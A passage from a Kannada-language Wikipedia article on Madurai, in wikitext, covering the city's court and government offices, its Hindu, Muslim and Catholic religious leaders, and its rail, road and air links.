ವ್ಯವಸ್ಥೆ, ಪುರಸಭೆಯ ಆಸ್ಪತ್ರೆ ಮತ್ತು ನಗರದ ಗ್ರಂಥಾಲಯಗಳ ದೈನಂದಿನ ಚಟುವಟಿಕೆಗಳಿಗೆ ಬಾಧ್ಯಸ್ಥರಾಗಿರುತ್ತಾರೆ. ನಗರವು [[ಮಧುರೈ ಜಿಲ್ಲಾ]] ಕೇಂದ್ರವಾಗಿ ಹಾಗೂ [[ಮದ್ರಾಸ್‌ ಉಚ್ಚನ್ಯಾಯಾಲಯ]]ದ ಮಧುರೈ ಪ್ರಾಂತ್ಯದ ಪೀಠವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಉಚ್ಚನ್ಯಾಯಾಲಯದ ಪೀಠವು 24-07-2004ರಿಂದ ಜಾರಿಗೆ ಬರುವಂತೆ [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ತೂತುಕುಡಿ]], ಮಧುರೈ, [[ದಿಂಡಿಗಲ್‌]], [[ರಾಮನಾಥಪುರಂ]], [[ವಿರುಧುನಗರ್]]‌, [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ಪುದುಕ್ಕೊಟ್ಟೈ]], [[ತಂಜಾವೂರು]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ಕರೂರು]]<ref>{{cite web |url=http://www.hcmadras.tn.nic.in/mduhist.htm |title=Madras High Court |publisher=Hcmadras.tn.nic.in |date=2004-07-24 |accessdate=2009-09-23 |archive-date=2009-08-23 |archive-url=https://web.archive.org/web/20090823042805/http://www.hcmadras.tn.nic.in/mduhist.htm |url-status=dead }}</ref> ಜಿಲ್ಲೆಗಳ ಕಾರ್ಯವ್ಯಾಪ್ತಿಯನ್ನು ಹೊಂದಿದೆ. ನಗರದಲ್ಲಿ ಪಾಸ್‌ಪೋರ್ಟ್‌ ಕಛೇರಿಯಿದೆ ಮತ್ತು ಮಧುರೈ, ಥೇಣಿ, ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ, ವಿರುಧುನಗರ್‌, ರಾಮನಾಥಪುರಂ, ತೂತುಕುಡಿ, ತಿರುನಲ್ವೇಲಿ, ಕನ್ಯಾಕುಮಾರಿ & ದಿಂಡಿಗಲ್‌‌/ದಿಂಡುಗಲ್‌ ಜಿಲ್ಲೆಗಳು ಇದರ ಕಾರ್ಯವ್ಯಾಪ್ತಿಗೆ ಒಳಪಡುತ್ತವೆ <ref>{{cite web|url=http://passport.gov.in/madurai.html |title=:: Welcome to Passport Office Madurai :: |publisher=Indian Passports |date= |accessdate=2009-09-24}}</ref>. ನಗರವು ಉದ್ಯೋಗ ಮಾಹಿತಿ ಕಚೇರಿಯನ್ನು ಸಹಾ ಹೊಂದಿದ್ದು, [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯ ಶಿಕ್ಷಿತ ಅಭ್ಯರ್ಥಿಗಳು ತಮ್ಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಗಳೊಂದಿಗೆ ತಮಿಳುನಾಡು ಸರ್ಕಾರದ ಉದ್ಯೋಗಾವಕಾಶಗಳಿಗಾಗಿ ನೋಂದಣಿ ಮಾಡಿಸುತ್ತಾರೆ. ಇದೇ ಕಚೇರಿಯು [[ತಮಿಳುನಾಡಿ]]ನ ಎಲ್ಲಾ ದಕ್ಷಿಣ ಜಿಲ್ಲೆಗಳ ಹಾಗೂ ಕೆಲ ಪಶ್ಚಿಮ ಜಿಲ್ಲೆಗಳ ದಕ್ಷಿಣ ಸ್ನಾತಕೋತ್ತರ ಪದವೀಧರರ ಮತ್ತು ವೃತ್ತಿಪರ ಪದವೀಧರರ ನೋಂದಣಿ ಕೇಂದ್ರವಾಗಿ ಸಹಾ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. == ಮಧುರೈನ ಧಾರ್ಮಿಕ ಮುಖ್ಯಸ್ಥರು == ಅತ್ಯಂತ ಪ್ರಾಚೀನ ಜನವಸತಿಯ ನಗರವಾಗಿರುವ ಕಾರಣ, ಮಧುರೈ ನಗರವು ತನ್ನ ವೈವಿಧ್ಯಮಯ ಸಂಸ್ಕೃತಿ <ref>{{Cite web |url=http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-08-08 |archive-date=2008-04-16 |archive-url=https://web.archive.org/web/20080416223435/http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |url-status=dead }}</ref> ಮತ್ತು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಪ್ರಸಿದ್ಧವಾಗಿದೆ. '''''ಮುಮ್ಮದ ತಲೈವರ್‌ಗಳ್'' ''' ‌(ಮೂರು ಧರ್ಮಗಳ ಮುಖಂಡರು) ಎಂಬ ಪ್ರಸಿದ್ಧ ಹೆಸರಿನಿಂದ ಕರೆಯಲಾಗುವ ಮೂರು ಮಂದಿ ಧಾರ್ಮಿಕ ಮುಖಂಡರು ಮಧುರೈಯನ್ನು ಶಾಂತಿಯಿಂದಿರಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತಿರುತ್ತಾರೆ. === ಆಧೀನಮ್‌‌ === [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]] ಅವಧಿಯಲ್ಲಿ ರಚಿಸಲಾದ ಭಾರತದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಹಳೆಯದಾದ [[ಮಠ]]ಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಇದರ ಸ್ಥಾಪನೆಯ ಕಾಲದಿಂದಲೇ ಬಹಳ ಸ್ಥಿರಾಸ್ಥಿಗಳನ್ನು ದಾನವಾಗಿ ನೀಡಲಾಗಿದೆ. ಮಧುರೈ ಆಧೀನಮ್‌ನ ಐತಿಹ್ಯವು '''1300 ವರ್ಷಗಳ''' ಷ್ಟು ಹಳೆಯದಾದುದು ಹಾಗೂ [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]]ರು ಮಧುರೈ ಆಧೀನಮ್‌ನ 1ನೇ ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಂ ಆಗಿದ್ದರು. ಮಧುರೈನ ಆಧೀನಮ್‌ ಮಠದ ಮುಖಂಡತ್ವವನ್ನು/ಮುಖ್ಯಸ್ಥ ಸ್ಥಾನವನ್ನು ಗುರು ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಮ್‌ರವರು ವಹಿಸಿರುತ್ತಾರೆ. ಶೈವ ಪಂಥಕ್ಕೆ ಸೇರಿದ್ದರೂ ಆಧೀನಮ್‌ರನ್ನು ಮಧುರೈನ ಎಲ್ಲಾ ಶೈವರು ಹಾಗೂ ವೈಷ್ಣವ ಹಿಂದೂಗಳ ಧಾರ್ಮಿಕ ಮುಖಂಡರನ್ನಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. '''ಗುರು ಮಗಾ ಸನ್ನಿಧಾನಂರಾದ ಅರುಣಾಚಲಂ ಸ್ವಾಮಿ''' ಯವರು ಪ್ರಸ್ತುತ ಆಧೀನಂರಾಗಿರುವ ತಮ್ಮ ವಂಶಾವಳಿಯ 292ನೇ ಆಧೀನಂರಾಗಿದ್ದಾರೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ವೇದಗಳು, ಕುರಾನ್‌‌ ಮತ್ತು ಬೈಬಲ್‌ಗಳಲ್ಲಿ ಪಾರಂಗತರಾಗಿದ್ದಾರೆ. [[ಹಿಂದೂ]] ಧರ್ಮಕ್ಕೆ ಸೇರಿದ ಎಲ್ಲಾ ಪ್ರಮುಖ ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳಲ್ಲಿ ಭಾಗವಹಿಸುವ ಆಧೀನಂರು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯದ ಸಭೆಗಳಲ್ಲಿ ಕೂಡಾ ಭಾಗವಹಿಸುತ್ತಾರೆ. ನಗರದಲ್ಲಿ ನಡೆಯುವ ಕುಂಭಾಭಿಷೇಕಗಳು, ಮೀನಾಕ್ಷಿ-ಷೊಕ್ಕರ್‌ ವಿವಾಹಮಹೋತ್ಸವ, [[ವೈಗೈ]]ಗೆ ಅಜಗರ್‌ನ ಪ್ರವೇಶ ಹಾಗೂ ಇನ್ನಿತರ ಹಿಂದೂ ಮಹೋತ್ಸವಗಳಲ್ಲಿ ಆಧೀನಮ್‌ರ ಮುಖಂಡತ್ವದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ತಮ್ಮ ಜೀವಿತಾವಧಿಯಲ್ಲಿಯೇ ತಮ್ಮ ಉತ್ತರಾಧಿಕಾರಿಯನ್ನು ನೇಮಕ ಮಾಡುತ್ತಾರೆ, ಹಾಗೆ ನೇಮಕರಾದವರು ಅವರ ನಂತರ ಅಧಿಕಾರ ಪಡೆಯುತ್ತಾರೆ. === ಖಾಜಿ/ಖಾಝಿಯಾರ್‌‌ === ಮಧುರೈನಲ್ಲಿ ಖಾಝಿ ಎಂದರೆ [[ಮುಸ್ಲಿಮರ]] ಧಾರ್ಮಿಕ ಮುಖಂಡ ಹಾಗೂ ನ್ಯಾಯಾಧೀಶರನ್ನು [[ತಮಿಳುನಾಡು]] ಸರಕಾರವು ನೇಮಿಸುತ್ತದೆ. ಮಧುರೈನಲ್ಲಿನ ಖಾಜಿಗಳ ಐತಿಹ್ಯವು '''750 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು. ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಸುಲ್ತಾನರ ಸರ್ಕಾರದ 1ನೇ ಖಾಝಿ/ಜಿಯಾಗಿದ್ದರು. ಮಧುರೈನಲ್ಲಿ [[ತಮಿಳುನಾಡು]] ಸರ್ಕಾರದ ಮೂಲಕ ಇಂದಿಗೂ ಆತನ ವಂಶಸ್ಥರನ್ನೇ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಿಸಲಾಗುತ್ತದೆ. ಹಝರತ್‌ ಮೌಲಾನಾ ಮೌಲ್ವಿ, ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ರಹಮುತುಲ್ಲಾಹಿ ಅಲೈಹಿ, (ಮಧುರೈನ [[ಮಕಬರಾ]] ಹಝರತ್‌ಗಳಲ್ಲಿ ಮೊದಲನೆಯವರು), ಮೌಲಾನಾ ಆಗಿದ್ದ ಸೈಯೆದ್‌ ಅಬ್ದುಲ್‌ ಖಾದಿರ್‌ ಇಬ್ರಾಹಿಂ, ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಮ್ಜದ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಝರತ್‌ರವರುಗಳು ತಮ್ಮ ಅವಧಿಯಲ್ಲಿ ಸರಕಾರದ ಪರವಾಗಿ ಗಣನೀಯ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ<ref>{{cite web|url=http://www.shazuli.com/aboutus.html |title=Fassiyathush Shazuliya &#124; tariqathush Shazuliya &#124; Tariqa Shazuliya &#124; Sufi Path &#124; Sufism &#124; Zikrs &#124; Avradhs &#124; Daily Wirdh &#124; Thareeqush shukr &#124;Kaleefa's of the tariqa &#124; Sheikh Fassy &#124; Ya Fassy &#124; Sijl &#124; Humaisara &#124; Muridheens &#124; Prostitute Entering Paradise |publisher=Shazuli.com |date=2007-04-02 |accessdate=2009-09-23}}</ref>. ನಗರದ ಖಾಜಿಯಾರ್‌, ಖಾಜಿಸಾಬ್‌, ನಗರದ ಖಾಜಿಸಾಬ್‌ etc. ಎಂದೆಲ್ಲಾ ಜನರಿಂದ ಪ್ರೀತಿಪೂರ್ವಕವಾಗಿ ಕರೆಯಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದ [http://www.themadurai.info ಮಧುರೈ] {{Webarchive|url=https://web.archive.org/web/20181216163332/https://themadurai.info/ |date=2018-12-16 }} ನ 19ನೇ ಖಾಜಿಯಾರ್‌ ಆದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂರವರು ತಮ್ಮ ಸರಳತೆ ಹಾಗೂ ನಗರದ ಮುಸ್ಲಿಮರ ಸಾರಸ್ವತ/ಸಾಹಿತ್ಯಿಕ/ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಆರ್ಥಿಕ ಔನ್ನತ್ಯಕ್ಕಾಗಿ ಶ್ರಮಿಸಿದುದಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಮಧುರೈನ ಪ್ರಸ್ತುತ ಖಾಜಿಯಾರ್‌ '''ಮೌಲ್ವಿ.''' '''A.ಸೈಯೆದ್‌ ಖಾಜಾ ಮೊಯಿ/ಮುಯಿನುದ್ದೀನ್‌''' ರು ಮಧುರೈನ ಖಾಜಿಯಾರ್‌ಗಳ ವಂಶಾವಳಿಯಲ್ಲಿ 20ನೆಯವರು, ಇವರು ಆಧೀನಂರಾದ ಕುಂದ್ರಕ್ಕುಡಿ ಅಡಿಗಳಾರ್‌ ಮತ್ತು ಆರ್ಚ್‌ ಬಿಷಪ್‌ರೊಡನೆ ಮಧುರೈನಲ್ಲಿನ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕಾಗಿ ನಡೆಸುತ್ತಿರುವ ಚಟುವಟಿಕೆಗಳಿಗಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯತೆಗಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುವುದಲ್ಲದೇ ಪ್ರಸಕ್ತ ಖಾಜಿಯಾರ್‌ರು ಬಡಾವಣೆಗಳಲ್ಲಿನ ಮುಸ್ಲಿಮರ ರಾಜಕೀಯ ಅಭ್ಯುದಯಕ್ಕಾಗಿ ಸಹಾ ಟೊಂಕಕಟ್ಟಿದ್ದಾರೆ. ಅರಸರದಿಯ ಈದ್ಗಾ ಮೈದಾನದಲ್ಲಿ ನಡೆಯುವ [[ಈದ್‌ ಉಲ್‌-ಫಿತರ್‌]] ಮತ್ತು[[ಈದ್‌ ಅಲ್‌-ಅದಾ]]ಗಳ ಸಾಮೂಹಿಕ ಪ್ರಾರ್ಥನೆಗಳ ಮುಂದಾಳತ್ವ ವಹಿಸುತ್ತಾರೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ, [[ಇಸ್ಲಾಮಿನ]] [[ಮುಹರ್ರಮ್‌]] ತಿಂಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಸುನ್ನಿ ಮುಸ್ಲಿಮರ 23 ದಿನಗಳ [[ಆಷುರಾ]] ಧಾರ್ಮಿಕ ಕೂಟದ ಮುಂದಾಳತ್ವವನ್ನೂ ಅವರೇ ವಹಿಸುತ್ತಾರೆ. ಮಧುರೈನಲ್ಲಿ ಬಹುಪಾಲು ಮುಸ್ಲಿಮ್‌ ವಿವಾಹಗಳನ್ನು ವಿಧಿಪೂರ್ವಕವಾಗಿ ನಡೆಸಿಕೊಡುವುದಲ್ಲದೇ, ಆ ನಂತರ ಬರಬಹುದಾದ ಸಮಸ್ಯೆಗಳಿಗೆ ಪರಿಹಾರವನ್ನೂ ಅವರು ನೀಡುತ್ತಾರೆ. ಸೂಕ್ತ ದರ್ಗಾಗಳಲ್ಲಿ ನಡೆಸಲಾಗುವ ಬಹಳಷ್ಟು ಝಿಕ್ರ್‌ ಮಜ್ಲಿಗಳು ಮತ್ತು ಉರುಸ್‌ ಉತ್ಸವಗಳನ್ನು ಖಾಜಿಯಾರ್‌‌ ಅಥವಾ ಖಾಜಿಯಾರ್‌ ಕುಟುಂಬದ ಇತರೆ ಮೌಲ್ವಿಗಳ ಮುಂದಾಳತ್ವದಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ. === ಆರ್ಚ್‌ ಬಿಷಪ್‌ === ಮಧುರಾದ ಆರ್ಚ್ ಬಿಷಪ್‌ರ ಆಡಳಿತದ ಐತಿಹ್ಯವು ಸುಮಾರು '''70 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು ಹಾಗೂ ಮಧುರೈನ ಆರ್ಚ್‌‌ ಬಿಷಪ್ಪರನ್ನು ಮಧುರೈನಲ್ಲಿರುವ [[ರೋಮನ್‌ ಕ್ಯಾಥೋಲಿಕ್‌]] [[ಕ್ರೈಸ್ತರ]] ಮುಖಂಡರಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಮಧುರಾದ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವನ್ನು 1938ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಹಾಗೂ, 1950ರಲ್ಲಿ ಅದನ್ನು ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯವೆಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. [[ದಿಂಡಿಗಲ್‌]], [[ಕೊಟ್ಟಾರ್‌]], [[ಪಲಯಂಕೊಟ್ಟೈ]], [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ತೂತುಕುಡಿ/ಟ್ಯೂಟಿಕಾರಿನ್‌]]ಗಳ ಸಹಾಯಕ ಬಿಷಪ್‌ರು ಮಧುರೈ ಬಿಷಪ್ಪರ ವ್ಯಾಪ್ತಿಗೊಳಪಡುತ್ತಾರೆ <ref>{{cite web|author=David M. Cheney |url=http://www.catholic-hierarchy.org/diocese/dmadu.html |title=Madurai (Archdiocese) |publisher=[Catholic-Hierarchy] |date= |accessdate=2009-09-23}}</ref>. ಮಧುರೈನ ಆರ್ಚ್‌ ಬಿಷಪ್ಪರ ಆಡಳಿತದ ವಂಶಾವಳಿಯು ಮಧುರೈನ 1ನೇ ಆರ್ಚ್‌ಬಿಷಪ್‌ ಜಾನ್‌ ಪೀಟರ್‌ ಲಿಯೋನಾರ್ಡ್‌ರಿಂದ ಆರಂಭವಾಗುತ್ತದೆ. ಮಧುರೈನ ನಾಲ್ಕನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದ ಬಿಷಪ್‌ ಮಾರಿಯಾನಸ್‌ ಆರೋಕ್ಯ/ಗ್ಯಸ್ವಾಮಿಯವರು 1990ರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ದಕ್ಷಿಣ ತಮಿಳುನಾಡು ಕೋಮುಗಲಭೆಗಳ ಬೇಗುದಿಯಿಂದ ಹೊತ್ತಿ ಉರಿಯುತ್ತಿದ್ದಾಗ ಆಧೀನಂ ಹಾಗೂ ಖಾಜಿಯಾರ್‌ಗಳ ಜೊತೆಗೂಡಿ ಮಧುರೈನಲ್ಲಿನ ಶಾಂತತೆಯನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ಶ್ರಮಿಸಿದ್ದರು. ಬಿಷಪ್‌ ಪೀಟರ್‌ ಫರ್ನ್ಯಾಂಡೋರವರು ಮಧುರೈನ 5ನೇ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. ಬಿಷಪ್‌ ಕ್ರಿಸ್ಟೋಫರ್‌ ಅಸಿರ್‌‌ರು, ಮಧುರೈನ C.S.I. ಕ್ರೈಸ್ತರ ಮುಖಂಡತ್ವ ಹೊಂದಿದ CSIನ ಮಧುರೈ-ರಾಮ್‌ನಾಡ್‌ ಬಿಷಪ್‌ ಆಡಳಿತ ಪ್ರಾಂತ್ಯದ ಆರ್ಚ್‌ ಬಿಷಪ್‌ ಆಗಿದ್ದಾರೆ. == ಸಾರಿಗೆ == === ರೈಲು ಸಾರಿಗೆ === [[ಚಿತ್ರ:மதுரைத் தொடருந்து நிலையம் 2022 ஆகத்து 13.jpg|thumb|right|ಮಧುರೈ ಜಂಕ್ಷನ್‌]] ಇಲ್ಲಿನ ರೈಲ್ವೇ ನಿಲ್ದಾಣ ರಾಷ್ಟ್ರದಲ್ಲಿನ ಅತ್ಯಂತ ಕಾರ್ಯನಿರತ ಜನನಿಬಿಡ ನಿಲ್ದಾಣವಾಗಿರುವುದಲ್ಲದೇ, ಗಣಕೀಕೃತ ಮುಂಗಡ ಕಾದಿರಿಸಿರುವಿಕೆಯ ಕೌಂಟರ್‌ಗಳನ್ನು ಹೊಂದಿದೆ. [[ದಕ್ಷಿಣ ರೈಲ್ವೇ]]ಯ ಅತ್ಯುತ್ತಮ ನಿರ್ವಹಣೆಯ ನಿಲ್ದಾಣವಾಗಿ ಅನೇಕ ಬಾರಿ ಮಧುರೈ ವಿಭಾಗವು ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದೆ.<ref>{{cite news|title=Elegant ambience|url=http://www.hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|publisher=The Hindu|date=October 16, 2004|accessdate=2007-03-09|archive-date=2007-10-17|archive-url=https://web.archive.org/web/20071017024320/http://hinduonnet.com/thehindu/mp/2004/10/16/stories/2004101600330100.htm|url-status=dead}}</ref> ಮಧುರೈ ಜಂಕ್ಷನ್‌ನ ರೈಲು ನಿಲ್ದಾಣದ ಸಂಕೇತವು '''MDU''' . [[ಚೆನ್ನೈ]], [[ನಾಗರ್‌ಕೋಯಿಲ್‌]], [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುಚೆಂಡೂರ್‌]], [[ವಿಲ್ಲುಪುರಂ]], [[ಕೊಯಮತ್ತೂರು]], [[ತೆಂಕಸಿ]], [[ರಾಮೇಶ್ವರಂ]], [[ತೂತುಕುಡಿ]], [[ಬೆಂಗಳೂರು]] (ಮೈಸೂರು exp & ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಮೈಸೂರು]], [[ತಿರುವನಂತಪುರಂ]], [[ಮುಂಬಯಿ]] (ಮುಂಬಯಿ CST exp ಮೂಲಕ), [[ಪುಣೆ]] (ಲೋಕಮಾನ್ಯ ತಿಲಕ್‌ exp ಮೂಲಕ), [[ಅಹಮದಾಬಾದ್‌]], [[ತಿರುಪತಿ]], [[ಹೈದರಾಬಾದ್]]‌(RMM OKHA EXPRES ಮೂಲಕ), [[ದೆಹಲಿ]] (ತಿರುಕ್ಕುರಳ್‌ ಮತ್ತು ತಮಿಳುನಾಡು ಸಂಪರ್ಕ ಕ್ರಾಂತಿ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌‌ ಮೂಲಕ), ಮತ್ತು [[ಕೋಲ್ಕತಾ]] (ಕೇಪ್‌ ಹೌರಾ exp ಮೂಲಕ)ಗಳೂ ಸೇರಿದಂತೆ ಇದು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳು ಹಾಗೂ ಪಟ್ಟಣಗಳಿಗೆ ಸಂಪರ್ಕಿತವಾಗಿದೆ<ref>{{cite web|url=http://erail.in |title=Indian Railways Time Tables, PNR, Route, Fares, Arrivals/Departures, Running Status - eRail.in (Better Way To Search Trains) |publisher=eRail.in |date= |accessdate=2009-09-23}}</ref>. === ರಸ್ತೆ ಸಾರಿಗೆ === [[ಚಿತ್ರ:Ellish Flyover2.jpg|thumb|right|ಎಲ್ಲಿಸ್‌ ನಗರ್‌ ಸೇತುವೆ]] ಮಧುರೈ ಅನೇಕ ಪ್ರಮುಖ ಬಸ್‌ ನಿಲ್ದಾಣಗಳನ್ನು ಹೊಂದಿದೆ: ಇದು ಮಾಟ್ಟುಥವನಿ (ಉತ್ತರ), ಪಾಲಂಗನಥಂ (ದಕ್ಷಿಣ), [[ಅರಪ್ಪಾಲಯಂ]] (ಪಶ್ಚಿಮ), ಪೆರಿಯಾರ್‌ (ಕೇಂದ್ರ) ಮತ್ತು ಅಣ್ಣಾ ಬಸ್‌‌ ನಿಲ್ದಾಣಗಳಲ್ಲಿನ (ಪೂರ್ವ) ಮಧುರೈ ಇಂಟೆಗ್ರೇಟೆಡ್‌ ಬಸ್‌ ಟರ್ಮಿನಸ್‌ (MIBT) ಸೇವೆಯಾಗಿ ಲಭ್ಯವಿದೆ. MIBTಯಿಂದ, ದಕ್ಷಿಣ ಭಾರತದ ಎಲ್ಲೆಡೆ ದಿನವಿಡೀ ಬಸ್‌ ಸಂಚಾರವಿರುತ್ತದೆ. ಅರಪ್ಪಾಲಯಂ ಬಸ್‌ನಿಲ್ದಾಣದಿಂದ, ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿ]]ನ ಸ್ಥಳಗಳಾದ ಥೇಣಿ,ಕೊಯಮತ್ತೂರು, ತಿರುಪುರ್‌‌, ಈರೋಡ್‌, [[ಸೇಲಂ]]ಗಳಿಗೆ ಹೋಗುವ ಬಸ್‌ಗಳು ಲಭ್ಯವಿರುತ್ತದೆ ಹಾಗೂ ಪ್ರಮುಖ ಮಹಾನಗರಗಳಿಗೆ ಹೋಗುವ ಖಾಸಗಿ ಬಸ್‌ಗಳು ಹಾಗೂ ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳು ಮಾತ್ರವೇ ಪೆರಿಯಾರ್‌ ಬಸ್‌ ನಿಲ್ದಾಣದಿಂದ ಹೊರಡುತ್ತವೆ. ಅಣ್ಣಾ ಬಸ್‌ನಿಲ್ದಾಣ ಮತ್ತು ಪಾಲಂಗನಥಂ ನಿಲ್ದಾಣಗಳು ಸದ್ಯಕ್ಕೆ ಸೇವೆ ನೀಡುತ್ತಿಲ್ಲ. ನಗರ ಸಾರಿಗೆ ಬಸ್‌ಗಳಲ್ಲದೇ, ತ್ರಿಚಕ್ರಗಳಿರುವ, ಕಪ್ಪು ಮತ್ತು ಹಳದಿ ಬಣ್ಣದ ಆಟೋಗಳು ಎಂದು ಕರೆಯಲ್ಪಡುವ [[ಆಟೋ-ರಿಕ್ಷಾಗಳು]] ನಗರದ ಒಳಗಿನ ಸಂಚಾರಕ್ಕೆ ಲಭ್ಯವಿರುತ್ತವೆ. MIBT ನಿಲ್ದಾಣದಲ್ಲಿ ಪೂರ್ವ-ಪಾವತಿ ಆಟೋ ಕೌಂಟರ್‌ ಇದ್ದು ಅಲ್ಲಿ ಪ್ರಯಾಣಿಕರು ಗಮ್ಯಸ್ಥಳದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ನಿಶ್ಚಿತ ಬಾಡಿಗೆ ಮತ್ತು ಆಟೋ-ಶುಲ್ಕ ತೆತ್ತು ಪ್ರಯಾಣಿಸಬಹುದು. ಮಧುರೈ ಕೆಳಕಂಡ ಪ್ರಮುಖ ರಾಷ್ಟ್ರೀಯ ಹೆದ್ದಾರಿಗಳಿಗೆ ಸಂಪರ್ಕ ಹೊಂದಿದೆ : NH 7 : (ಉತ್ತರ-ದಕ್ಷಿಣ ಕಾರಿಡಾರ್‌‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌ವೇ) [[ಬೆಂಗಳೂರು]] – [[ಸೇಲಂ]] – [[ದಿಂಡಿಗಲ್‌]] – ಮಧುರೈ – [[ತಿರುನಲ್ವೇಲಿ]] – [[ಕನ್ಯಾಕುಮಾರಿ]] NH 45B : [[ಟ್ರಿಚಿ/ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] – ಮಧುರೈ – [[ತೂತುಕುಡಿ]] NH 49 : ಮಧುರೈ – [[ರಾಮೇಶ್ವರಂ]] NH 49 Extn/ವಿಸ್ತೃತ : ಮಧುರೈ – [[ಥೇಣಿ]] – [[ಬೋದಿ/ಡಿ]] – [[ಕೊಚ್ಚಿ/ನ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಅನೇಕ ಕಡೆಗಳಲ್ಲಿ ಸಂಪರ್ಕ ಹೊಂದಲು ವೈಗೈ ನದಿಯ ಮೇಲೆ ಸೇತುವೆಗಳನ್ನು ಕಟ್ಟಲಾಗಿದೆ. ನಗರದೊಳಗೆ ವಾಹನದಟ್ಟಣೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಲು ಮೇಲುರಸ್ತೆಗಳನ್ನು ಕಟ್ಟಲಾಗುತ್ತಿದೆ. [[ಚೆನ್ನೈ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]]ಗಳಿಗೆ ನಾಲ್ಕು ಪಥದ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌/ವಾಯುವೇಗದ ಹೆದ್ದಾರಿಗಳ ಲಭ್ಯತೆಯು ಮಧುರೈಗೆ ರಸ್ತೆ ಮೂಲಕ ಉತ್ತಮ ಸಂಪರ್ಕ ಕಲ್ಪಿಸಿದೆ. === ವಾಯುಯಾನ/ಸಾರಿಗೆ === [[ಚಿತ್ರ:Air Deccan Madurai airport.jpg|thumb|right|ವಿಮಾನನಿಲ್ದಾಣದಲ್ಲಿ ಏರ್‌ ಡೆಕ್ಕನ್‌‌]] [[ಮಧುರೈ ವಿಮಾನನಿಲ್ದಾಣ]]ವು ಮಧುರೈ ರೈಲ್ವೆನಿಲ್ದಾಣದಿಂದ ಸರಿಸುಮಾರು 9 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರವಿರುವುದಲ್ಲದೇ, 